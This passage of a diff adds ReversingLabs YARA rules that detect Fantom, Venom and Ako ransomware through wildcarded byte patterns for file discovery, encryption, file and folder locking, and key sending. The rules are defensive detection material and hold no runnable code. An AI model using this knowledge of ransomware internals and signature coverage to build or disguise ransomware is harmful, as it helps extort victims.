+            ?? ?? 0C 08 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 0D 02 20 ?? ?? ?? ?? 20 ?? ?? ?? ?? 73 ?? ??
+            ?? ?? 28 ?? ?? ?? ?? 00 7E ?? ?? ?? ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 13 ?? 11 ?? 72 ??
+            ?? ?? ?? 72 ?? ?? ?? ?? 17 6F ?? ?? ?? ?? 00 07 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 72 ?? ??
+            ?? ?? 28 ?? ?? ?? ?? 00 09 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ??
+            00 02 7B ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 02 7B ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 02 7B ?? ??
+            ?? ?? 6F ?? ?? ?? ?? 00 06 28 ?? ?? ?? ?? 7D ?? ?? ?? ?? 73 ?? ?? ?? ?? 25 20 ?? ?? ??
+            ?? 6F ?? ?? ?? ?? 00 13 ?? 11 ?? 06 FE 06 ?? ?? ?? ?? 73 ?? ?? ?? ?? 6F ?? ?? ?? ?? 00
+            11 ?? 17 6F ?? ?? ?? ?? 00 02 7B ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 2A
+        }
+		$find_files = {
+            00 28 ?? ?? ?? ?? 00 16 28 ?? ?? ?? ?? 0A 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 0B 07 72 ?? ??
+            ?? ?? 28 ?? ?? ?? ?? 0C 06 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 17 28 ?? ?? ??
+            ?? 0D 08 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 17 28 ?? ?? ?? ?? 13 ?? 73 ?? ??
+            ?? ?? 13 ?? 72 ?? ?? ?? ?? 13 ?? 16 13 ?? 2B ?? 00 11 ?? 09 11 ?? 9A 11 ?? 6F ?? ?? ??
+            ?? 00 00 11 ?? 17 58 13 ?? 11 ?? 09 8E 69 FE 04 13 ?? 11 ?? 2D ?? 16 13 ?? 2B ?? 00 11
+            ?? 11 ?? 11 ?? 9A 11 ?? 6F ?? ?? ?? ?? 00 00 11 ?? 17 58 13 ?? 11 ?? 11 ?? 8E 69 FE 04
+            13 ?? 11 ?? 2D ?? 2A
+        }
+		$encrypt_files_p1 = {
+            00 14 0A 1E 8D ?? ?? ?? ?? 25 D0 ?? ?? ?? ?? 28 ?? ?? ?? ?? 0B 73 ?? ?? ?? ?? 0C 00 73
+            ?? ?? ?? ?? 0D 00 09 20 ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 09 20 ?? ?? ?? ?? 6F ?? ?? ?? ??
+            00 03 07 20 ?? ?? ?? ?? 73 ?? ?? ?? ?? 13 ?? 09 11 ?? 09 6F ?? ?? ?? ?? 1E 5B 6F ?? ??
+            ?? ?? 6F ?? ?? ?? ?? 00 09 11 ?? 09 6F ?? ?? ?? ?? 1E 5B 6F ?? ?? ?? ?? 6F ?? ?? ?? ??
+            00 09 17 6F ?? ?? ?? ?? 00 08 09 6F ?? ?? ?? ?? 17 73 ?? ?? ?? ?? 13 ?? 00 11 ?? 02 16
+            02 8E 69 6F ?? ?? ?? ?? 00 11 ?? 6F ?? ?? ?? ?? 00 00 DE ?? 11 ?? 2C ?? 11 ?? 6F ?? ??
+            ?? ?? 00 DC 08 6F ?? ?? ?? ?? 0A 00 DE ?? 09 2C ?? 09 6F ?? ?? ?? ?? 00 DC 00 DE ?? 08
+            2C ?? 08 6F ?? ?? ?? ?? 00 DC 06 13 ?? 2B ?? 11 ?? 2A
+        }
+		$encrypt_files_p2 = {
+            00 03 28 ?? ?? ?? ?? 0A 28 ?? ?? ?? ?? 04 6F ?? ?? ?? ?? 0B 28 ?? ?? ?? ?? 07 6F ?? ??
+            ?? ?? 0B 06 07 28 ?? ?? ?? ?? 0C 03 0D 09 08 28 ?? ?? ?? ?? 00 2A
+        }
+
+	condition:
+		uint16(0)==0x5A4D and ($set_environment) and ($find_files) and ( all of ($encrypt_files_p*))
+}
+rule REVERSINGLABS_Bytecode_MSIL_Ransomware_Fantom : TC_DETECTION MALICIOUS MALWARE FILE
+{
+	meta:
+		description = "Yara rule that detects Fantom ransomware."
+		author = "ReversingLabs"
+		id = "cd32de8b-2c14-5fb4-be79-365d9848f341"
+		date = "2021-08-12"
+		modified = "2021-08-12"
+		reference = "ReversingLabs"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/ByteCode.MSIL.Ransomware.Fantom.yara#L1-L97"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "f2aaa9776b7ca302052b3303d45df24cc151a4efc7ea9f4bb3c1f53d10ded03a"
+		score = 75
+		quality = 90
+		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
+		status = "RELEASED"
+		sharing = "TLP:WHITE"
+		category = "MALWARE"
+		tc_detection_type = "Ransomware"
+		tc_detection_name = "Fantom"
+		tc_detection_factor = 5
+		importance = 25
+
+	strings:
+		$encrypt_files_1 = {
+            00 72 ?? ?? ?? ?? 02 7B ?? ?? ?? ?? 28 ?? ?? ?? ?? 02 7B ?? ?? ?? ?? 28 ?? ?? ?? ??
+            26 DE ?? 26 DE ?? 02 28 ?? ?? ?? ?? 13 ?? 02 28 ?? ?? ?? ?? 02 28 ?? ?? ?? ?? 02 28
+            ?? ?? ?? ?? 1F ?? 28 ?? ?? ?? ?? [1-2] 02 72 ?? ?? ?? ?? 7D ?? ?? ?? ?? 02 [1-2] 20
+            ?? ?? ?? ?? 02 7B ?? ?? ?? ?? 28 ?? ?? ?? ?? 7D ?? ?? ?? ?? 28 ?? ?? ?? ?? 11 ?? 6F
+            ?? ?? ?? ?? 13 ?? 02 11 ?? 28 ?? ?? ?? ?? 7D ?? ?? ?? ?? 02 02 7B ?? ?? ?? ?? 02 7B
+            ?? ?? ?? ?? 28 ?? ?? ?? ?? 7D ?? ?? ?? ?? 02 28 ?? ?? ?? ?? 20 ?? ?? ?? ?? 8D ?? ??
+            ?? ?? 13 ?? 11 ?? 16
+        }
+		$encrypt_files_2 = {
+            72 ?? ?? ?? ?? A2 11 ?? 17 72 ?? ?? ?? ?? A2 11 ?? 18 72 ?? ?? ?? ?? A2 11 ??
+            19 72 ?? ?? ?? ?? A2 11 ?? 1A 72 ?? ?? ?? ?? A2 11 ?? 1B 72 ?? ?? ?? ?? A2 11
+            ?? 1C 72 ?? ?? ?? ?? A2 11 ?? 1D 72 ?? ?? ?? ?? A2 11 ?? 1E 72 ?? ?? ?? ?? A2
+            11 ?? 1F ?? 72 ?? ?? ?? ?? A2 11 ?? 1F ?? 72 ?? ?? ?? ?? A2 11 ?? 1F ?? 72 ??
+            ?? ?? ?? A2 11 ?? 1F ?? 72 ?? ?? ?? ?? A2 11 ?? 1F ?? 72 ?? ?? ?? ?? A2 11 ??
+            1F ?? 72 ?? ?? ?? ?? A2 11 ?? 1F ?? 72 ?? ?? ?? ?? A2 11 ?? 1F ?? 72 ?? ?? ??
+            ?? A2 11 ?? 1F ?? 72 ?? ?? ?? ?? A2 11 ?? 1F ?? 72 ?? ?? ?? ?? A2 11 ?? 1F ??
+            72 ?? ?? ?? ?? A2 11 ?? 1F ?? 72 ?? ?? ?? ?? A2 11 ?? 1F ?? 72 ?? ?? ?? ?? A2
+            11 ?? 1F ?? 72 ?? ?? ?? ?? A2 11 ?? 1F ?? 72 ?? ?? ?? ?? A2 11 ?? 1F ?? 72 ??
+            ?? ?? ?? A2 11 ?? 1F ?? 72 ?? ?? ?? ?? A2 11 ?? 1F ?? 72 ?? ?? ?? ?? A2 11 ??
+            1F ?? 72 ?? ?? ?? ?? A2 11 ?? 1F ?? 72 ?? ?? ?? ?? A2 11 ?? 1F ?? 72 ?? ?? ??
+            ?? A2 11 ?? 1F ?? 72 ?? ?? ?? ?? A2 11 ?? 1F ?? 72 ?? ?? ?? ?? A2 11 ?? 1F ??
+            72 ?? ?? ?? ?? A2 11 ?? 1F ?? 72 ?? ?? ?? ?? A2 11 ?? 1F ?? 72 ?? ?? ?? ?? A2
+            11 ?? 1F ?? 72 ?? ?? ?? ?? A2 11 ?? 1F ?? 72 ?? ?? ?? ?? A2 11 ?? 1F ?? 72 ??
+            ?? ?? ?? A2 11 ?? 1F ?? 72 ?? ?? ?? ?? A2 11 ?? 1F ?? 72 ?? ?? ?? ?? A2 11 ??
+            1F ?? 72 ?? ?? ?? ?? A2 11 ?? 1F ?? 72 ?? ?? ?? ?? A2 11 ?? 1F ?? 72 ?? ?? ??
+            ?? A2 11 ?? 1F ?? 72 ?? ?? ?? ?? A2 11 ?? 1F ?? 72 ?? ?? ?? ?? A2 11 ?? 1F ??
+            72 ?? ?? ?? ?? A2 11 ?? 1F ?? 72 ?? ?? ?? ?? A2 11 ?? 1F ?? 72 ?? ?? ?? ?? A2
+            11 ?? 1F ?? 72 ?? ?? ?? ?? A2 11 ?? 1F ?? 72 ?? ?? ?? ?? A2 11 ?? 1F ?? 72 ??
+            ?? ?? ?? A2 11 ?? 1F ?? 72 ?? ?? ?? ?? A2 11 ?? 1F ?? 72 ?? ?? ?? ?? A2 11 ??
+            1F ?? 72 ?? ?? ?? ?? A2 11 ?? 1F ?? 72 ?? ?? ?? ?? A2 11 ?? 1F ?? 72 ?? ?? ??
+            ?? A2 11 ?? 1F ?? 72 ?? ?? ?? ?? A2 11 ?? 1F ?? 72 ?? ?? ?? ?? A2 11 ?? 1F ??
+            72 ?? ?? ?? ?? A2 11 ?? 1F ?? 72 ?? ?? ?? ?? A2 11 ?? 1F ?? 72 ?? ?? ?? ?? A2
+            11 ?? 1F ?? 72 ?? ?? ?? ?? A2 11 ?? 1F ?? 72 ?? ?? ?? ?? A2 11 ?? 1F ?? 72 ??
+            ?? ?? ?? A2 11 ?? 1F ?? 72 ?? ?? ?? ?? A2 11 ?? 1F ?? 72 ?? ?? ?? ?? A2 11
+        }
+		$lockfile = {
+            02 7B ?? ?? ?? ?? 16 FE ?? 3A ?? ?? ?? ?? 21 EA 17 ?? ?? ?? ?? ?? ?? ??
+            03 73 ?? ?? ?? ?? [2-4] 6F ?? ?? ?? ?? [2-4] 21 00 65 CD 1D
+            00 00 00 00 FE ?? 16 FE ?? 2D ?? [2-4] FE ?? 16 FE ?? 2D ?? 03 28
+            ?? ?? ?? ?? ?? 28 ?? ?? ?? ?? 04 6F ?? ?? ?? ?? [1-2] 28 ?? ?? ?? ?? [1-2]
+            6F ?? ?? ?? ?? [1-2] 02 ?? [1-2] 28 ?? ?? ?? ?? [1-2] 03 [1-2] 28 ?? ??
+            ?? ?? 03 03 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? [1-2] ?? FE ??
+            16 FE ?? 2D ?? 2B ?? 03 03 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ??
+            2B ?? 03 28 ?? ?? ?? ?? ?? 28 ?? ?? ?? ?? 04 6F ?? ?? ?? ?? [1-2] 28 ??
+            ?? ?? ?? [1-2] 6F ?? ?? ?? ?? [1-2] 02 ?? [1-2] 28 ?? ?? ?? ?? [1-2] 03
+            [1-2] 28 ?? ?? ?? ?? 03 03 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ??
+            2A
+        }
+		$lockdir = {
+            03 28 ?? ?? ?? ?? 0A 03 28 ?? ?? ?? ?? 0B 16 0C 08 06 8E 69 FE ?? 2C ??
+            00 06 08 9A 28 ?? ?? ?? ?? 0D 05 09 28 ?? ?? ?? ?? 16 FE ?? 2D ?? 02 25
+            7B ?? ?? ?? ?? 17 58 7D ?? ?? ?? ?? 02 06 08 9A 04 28 ?? ?? ?? ?? DE ??
+            26 DE ?? 26 DE ?? 08 17 58 0C 2B ?? 16 0C 08 07 8E 69 FE ?? 2C ?? 00 02
+            07 08 9A 04 05 28 ?? ?? ?? ?? 02 07 08 9A 04 28 ?? ?? ?? ?? DE ?? 26 DE
+            ?? 26 DE ?? 08 17 58 0C 2B ?? 2A
+        }
+		$sendkey = {
+            00 02 7C ?? ?? ?? ?? 28 ?? ?? ?? ?? 0A 73 ?? ?? ?? ?? 0B 73 ?? ?? ?? ??
+            0C 08 72 ?? ?? ?? ?? 02 7B ?? ?? ?? ?? 6F ?? ?? ?? ?? 08 72 ?? ?? ?? ??
+            02 7B ?? ?? ?? ?? 6F ?? ?? ?? ?? 08 72 ?? ?? ?? ?? 02 7B ?? ?? ?? ?? 6F
+            ?? ?? ?? ?? 08 72 ?? ?? ?? ?? 06 6F ?? ?? ?? ?? 07 03 72 ?? ?? ?? ?? 08
+            6F ?? ?? ?? ?? 26 07 6F ?? ?? ?? ?? DE ?? 26 DE ?? 2A
+        }
+
+	condition:
+		uint16(0)==0x5A4D and (( all of ($encrypt_files_*)) and $lockfile and $lockdir and $sendkey)
+}
+rule REVERSINGLABS_Bytecode_MSIL_Ransomware_Venom : TC_DETECTION MALICIOUS MALWARE FILE
+{
+	meta:
+		description = "Yara rule that detects Venom ransomware."
+		author = "ReversingLabs"
+		id = "72149ec2-888e-5bed-baf1-0ec44e48328e"
+		date = "2022-06-06"
+		modified = "2022-06-06"
+		reference = "ReversingLabs"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/ByteCode.MSIL.Ransomware.Venom.yara#L1-L68"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "5817ece6a1cc304835f7fc243c4cfdc3c7cacd2251a9ac294a6662b58d2552e8"
+		score = 75
+		quality = 90
+		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
+		status = "RELEASED"
+		sharing = "TLP:WHITE"
+		category = "MALWARE"
+		tc_detection_type = "Ransomware"
+		tc_detection_name = "Venom"
+		tc_detection_factor = 5
+		importance = 25
+
+	strings:
+		$setup_env = {
+            00 28 ?? ?? ?? ?? 0A 73 ?? ?? ?? ?? 0B 07 1F ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 07 1B
+            28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 07 1F ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 07 1F ?? 28
+            ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 07 1F ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 00 07 6F ?? ??
+            ?? ?? 13 ?? 2B ?? 12 ?? 28 ?? ?? ?? ?? 13 ?? 00 06 11 ?? 28 ?? ?? ?? ?? 00 00 12 ?? 28
+            ?? ?? ?? ?? 2D ?? DE ?? 12 ?? FE 16 ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 DC 72 ?? ?? ?? ?? 1F
+            ?? 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 00 72 ?? ?? ?? ?? 1F ??
+            28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 00 1F ?? 28 ?? ?? ?? ?? 72
+            ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 00 72 ?? ?? ?? ?? 1F ?? 28 ?? ?? ?? ?? 72 ??
+            ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 26 20 ?? ?? ?? ?? 8D ?? ?? ?? ?? 25 D0 ?? ?? ??
+            ?? 28 ?? ?? ?? ?? 0C 72 ?? ?? ?? ?? 20 ?? ?? ?? ?? 19 7E ?? ?? ?? ?? 19 16 7E ?? ?? ??
+            ?? 28 ?? ?? ?? ?? 0D 09 08 20 ?? ?? ?? ?? 12 ?? 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 26 17 28
+            ?? ?? ?? ?? 00 2A
+        }
+		$find_files = {
+            00 00 00 03 28 ?? ?? ?? ?? 0A 16 0B 2B ?? 06 07 9A 0C 00 00 08 72 ?? ?? ?? ?? 6F ?? ??
+            ?? ?? 16 FE 01 0D 09 2C ?? 00 08 02 28 ?? ?? ?? ?? 00 00 00 DE ?? 26 00 00 DE ?? 00 07
+            17 58 0B 07 06 8E 69 32 ?? 00 03 28 ?? ?? ?? ?? 13 ?? 16 13 ?? 2B ?? 11 ?? 11 ?? 9A 13
+            ?? 00 11 ?? 02 28 ?? ?? ?? ?? 00 00 11 ?? 17 58 13 ?? 11 ?? 11 ?? 8E 69 32 ?? 00 DE ??
+            26 00 00 DE ?? 2A
+        }
+		$encrypt_files = {
+            00 28 ?? ?? ?? ?? 0A 28 ?? ?? ?? ?? 03 6F ?? ?? ?? ?? 0B 02 72 ?? ?? ?? ?? 28 ?? ?? ??
+            ?? 18 73 ?? ?? ?? ?? 0C 73 ?? ?? ?? ?? 0D 09 20 ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 09 20 ??
+            ?? ?? ?? 6F ?? ?? ?? ?? 00 09 18 6F ?? ?? ?? ?? 00 07 06 20 ?? ?? ?? ?? 73 ?? ?? ?? ??
+            13 ?? 09 11 ?? 09 6F ?? ?? ?? ?? 1E 5B 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 09 11 ?? 09 6F
+            ?? ?? ?? ?? 1E 5B 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 09 17 6F ?? ?? ?? ?? 00 08 06 16 06
+            8E 69 6F ?? ?? ?? ?? 00 08 09 6F ?? ?? ?? ?? 17 73 ?? ?? ?? ?? 13 ?? 02 19 73 ?? ?? ??
+            ?? 13 ?? 20 ?? ?? ?? ?? 8D ?? ?? ?? ?? 13 ?? 00 2B ?? 00 11 ?? 11 ?? 16 11 ?? 6F ?? ??
+            ?? ?? 00 00 11 ?? 11 ?? 16 11 ?? 8E 69 6F ?? ?? ?? ?? 25 13 ?? 16 FE 02 13 ?? 11 ?? 2D
+            ?? 11 ?? 6F ?? ?? ?? ?? 00 00 DE ?? 13 ?? 00 11 ?? 6F ?? ?? ?? ?? 28 ?? ?? ?? ?? 00 00
+            DE ?? DE ?? 00 11 ?? 6F ?? ?? ?? ?? 00 08 6F ?? ?? ?? ?? 00 00 02 28 ?? ?? ?? ?? 00 00
+            DE ?? 26 00 00 DE ?? 00 DC 2A
+        }
+
+	condition:
+		uint16(0)==0x5A4D and ($setup_env) and ($find_files) and ($encrypt_files)
+}
+rule REVERSINGLABS_Win64_Ransomware_Ako : TC_DETECTION MALICIOUS MALWARE FILE
+{
+	meta:
+		description = "Yara rule that detects Ako ransomware."
+		author = "ReversingLabs"
+		id = "fce98a6a-f7bd-52ee-a2b8-31b48f6134ca"
+		date = "2020-07-15"
+		modified = "2020-07-15"
+		reference = "ReversingLabs"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/Win64.Ransomware.Ako.yara#L1-L173"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "8321a4ace66ae48e3a6896daf02c184fa7767fa6bd10cd83b322ad01698008cf"
+		score = 75
+		quality = 90
+		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
+		status = "RELEASED"
+		sharing = "TLP:WHITE"
+		category = "MALWARE"
+		tc_detection_type = "Ransomware"
+		tc_detection_name = "Ako"
+		tc_detection_factor = 5
+		importance = 25
+
+	strings:
+		$encrypt_files_win64_p1 = {
+            44 89 4C 24 ?? 4C 89 44 24 ?? 48 89 54 24 ?? 48 89 4C 24 ?? 56 57 48 81 EC ?? ?? ??
+            ?? 48 C7 44 24 ?? ?? ?? ?? ?? 48 8B 05 ?? ?? ?? ?? 48 33 C4 48 89 84 24 ?? ?? ?? ??
+            48 83 BC 24 ?? ?? ?? ?? ?? 74 ?? 48 83 BC 24 ?? ?? ?? ?? ?? 75 ?? 32 C0 E9 ?? ?? ??
+            ?? 41 B9 ?? ?? ?? ?? 45 33 C0 48 8B 94 24 ?? ?? ?? ?? 48 8B 8C 24 ?? ?? ?? ?? E8 ??
+            ?? ?? ?? 90 89 44 24 ?? 81 7C 24 ?? ?? ?? ?? ?? 73 ?? 32 C0 E9 ?? ?? ?? ?? C7 84 24
+            ?? ?? ?? ?? ?? ?? ?? ?? 48 8D 84 24 ?? ?? ?? ?? 48 8B F8 33 C0 B9 ?? ?? ?? ?? F3 AA
+            48 8D 94 24 ?? ?? ?? ?? 48 8B 8C 24 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 90 85 C0 75 ?? 32
+            C0 E9 ?? ?? ?? ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 8B 44 24
+            ?? 45 33 C0 8B D0 48 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 45 33 C0 BA ?? ?? ?? ??
+            48 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? 48 8D 84
+            24 ?? ?? ?? ?? 48 8B F8 33 C0 B9 ?? ?? ?? ?? F3 AA C7 84 24 ?? ?? ?? ?? ?? ?? ?? ??
+            48 8D 84 24 ?? ?? ?? ?? 48 8B F8 33 C0 B9 ?? ?? ?? ?? F3 AA 48 C7 44 24 ?? ?? ?? ??
+            ?? EB ?? 48 8B 44 24 ?? 48 05 ?? ?? ?? ?? 48 89 44 24 ?? 48 8B 84 24 ?? ?? ?? ?? 48
+            39 44 24 ?? 0F 8D ?? ?? ?? ?? 48 C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? 41 B9 ?? ?? ?? ??
+            4C 8D 84 24 ?? ?? ?? ?? 48 8B 94 24 ?? ?? ?? ?? 48 8B 8C 24 ?? ?? ?? ?? FF 15 ?? ??
+            ?? ?? 90 85 C0 75 ?? C6 44 24 ?? ?? 48 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 48 8D
+            8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 0F B6 44 24 ?? E9 ?? ?? ?? ?? 33 D2 48 8D 8C 24
+            ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 48 C7 44 24 ?? ?? ?? ?? ?? 4C 8D 8C 24 ?? ?? ?? ?? 41
+            B8 ?? ?? ?? ?? 48 8B D0 48 8B 8C 24 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 90 85 C0 75 ?? C6
+        }
+		$encrypt_files_win64_p2 = {
+            44 24 ?? ?? 48 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 48 8D 8C 24 ?? ?? ?? ?? E8 ??
+            ?? ?? ?? 90 0F B6 44 24 ?? E9 ?? ?? ?? ?? 45 33 C9 4C 8D 84 24 ?? ?? ?? ?? 48 8B 94
+            24 ?? ?? ?? ?? 48 8B 8C 24 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 90 85 C0 75 ?? C6 44 24 ??
+            ?? 48 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 48 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ??
+            90 0F B6 44 24 ?? E9 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? EB ?? 8B 44 24 ?? 05 ?? ??
+            ?? ?? 89 44 24 ?? 8B 84 24 ?? ?? ?? ?? 39 44 24 ?? 0F 83 ?? ?? ?? ?? 48 8D 8C 24 ??
+            ?? ?? ?? E8 ?? ?? ?? ?? 90 8B 4C 24 ?? 48 03 C1 48 89 44 24 ?? 33 D2 48 8D 8C 24 ??
+            ?? ?? ?? E8 ?? ?? ?? ?? 90 48 8B F8 48 8B 44 24 ?? 48 8B F0 B9 ?? ?? ?? ?? F3 A4 48
+            8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 8B 4C 24 ?? 89 4C 24 ?? C7 44 24 ?? ?? ?? ??
+            ?? 4C 8B C8 45 33 C0 48 8B 94 24 ?? ?? ?? ?? 48 8B 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ??
+            90 0F B6 C0 85 C0 75 ?? C6 44 24 ?? ?? 48 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 48
+            8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 0F B6 44 24 ?? E9 ?? ?? ?? ?? 48 8D 8C 24 ??
+            ?? ?? ?? E8 ?? ?? ?? ?? 90 48 C7 44 24 ?? ?? ?? ?? ?? 4C 8D 4C 24 ?? 44 8B 44 24 ??
+            48 8B D0 48 8B 8C 24 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 90 85 C0 75 ?? C6 44 24 ?? ?? 48
+            8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 48 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 0F
+            B6 44 24 ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? 83 BC 24 ?? ?? ?? ?? ?? 75 ?? EB ?? E9 ??
+            ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 48 8D 44 24 ?? 48 8B F8 33 C0 B9 ?? ?? ?? ?? F3 AA
+        }
+		$encrypt_files_win64_p3 = {
+            48 8B 44 24 ?? 48 89 84 24 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 48 8D 44 24 ?? 48 8B
+            F8 33 C0 B9 ?? ?? ?? ?? F3 AA 48 8B 44 24 ?? 48 89 84 24 ?? ?? ?? ?? 41 B9 ?? ?? ??
+            ?? 4C 8D 84 24 ?? ?? ?? ?? 48 8B 94 24 ?? ?? ?? ?? 48 8B 8C 24 ?? ?? ?? ?? FF 15 ??
+            ?? ?? ?? 90 85 C0 0F 84 ?? ?? ?? ?? 48 8B 84 24 ?? ?? ?? ?? 48 83 C0 ?? 48 8B C8 E8
+            ?? ?? ?? ?? 90 48 89 44 24 ?? 48 8B 8C 24 ?? ?? ?? ?? 48 83 C1 ?? E8 ?? ?? ?? ?? 90
+            48 C7 44 24 ?? ?? ?? ?? ?? 4C 8D 4C 24 ?? 48 8B 4C 24 ?? 44 8B C1 48 8B D0 48 8B 8C
+            24 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 90 85 C0 0F 84 ?? ?? ?? ?? 8B 44 24 ?? 48 89 44 24
+            ?? 48 8B 8C 24 ?? ?? ?? ?? 48 83 C1 ?? E8 ?? ?? ?? ?? 90 48 8B 4C 24 ?? 48 3B C8 0F
+            85 ?? ?? ?? ?? 48 C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ??
+            C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? 48 8B 84 24 ?? ?? ?? ?? 48 89 84 24 ?? ?? ?? ?? 8B
+            84 24 ?? ?? ?? ?? 89 84 24 ?? ?? ?? ?? 48 C7 44 24 ?? ?? ?? ?? ?? 4C 8D 4C 24 ?? 41
+            B8 ?? ?? ?? ?? 48 8D 94 24 ?? ?? ?? ?? 48 8B 8C 24 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 90
+            85 C0 74 ?? 8B 44 24 ?? 48 83 F8 ?? 75 ?? C6 44 24 ?? ?? 48 8D 8C 24 ?? ?? ?? ?? E8
+            ?? ?? ?? ?? 90 48 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 0F B6 44 24 ?? EB ?? C6 44
+            24 ?? ?? 48 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 48 8D 8C 24 ?? ?? ?? ?? E8 ?? ??
+            ?? ?? 90 0F B6 44 24 ?? 48 8B 8C 24 ?? ?? ?? ?? 48 33 CC E8 ?? ?? ?? ?? 90 48 81 C4
+            ?? ?? ?? ?? 5F 5E C3
+        }
+		$encrypt_network_shares_win64_p1 = {
+            48 89 54 24 ?? 48 89 4C 24 ?? 48 81 EC ?? ?? ?? ?? 48 C7 44 24 ?? ?? ?? ?? ?? 48 8B
+            05 ?? ?? ?? ?? 48 33 C4 48 89 84 24 ?? ?? ?? ?? 48 8B 94 24 ?? ?? ?? ?? 48 8D 8C 24
+            ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 48 8B 84 24 ?? ?? ?? ?? 48 05 ?? ?? ?? ?? 48 8B C8 E8
+            ?? ?? ?? ?? 90 0F B6 C0 85 C0 0F 85 ?? ?? ?? ?? 48 8B 8C 24 ?? ?? ?? ?? E8 ?? ?? ??
+            ?? 90 0F B6 C0 85 C0 0F 85 ?? ?? ?? ?? 48 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 48
+            8D 94 24 ?? ?? ?? ?? 48 8B 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 48 8D 8C 24 ?? ?? ??
+            ?? E8 ?? ?? ?? ?? 90 0F B6 C0 85 C0 0F 85 ?? ?? ?? ?? 48 8B 84 24 ?? ?? ?? ?? 48 83
+            C0 ?? 48 8D 94 24 ?? ?? ?? ?? 48 8B C8 E8 ?? ?? ?? ?? 90 48 8D 15 ?? ?? ?? ?? 48 8D
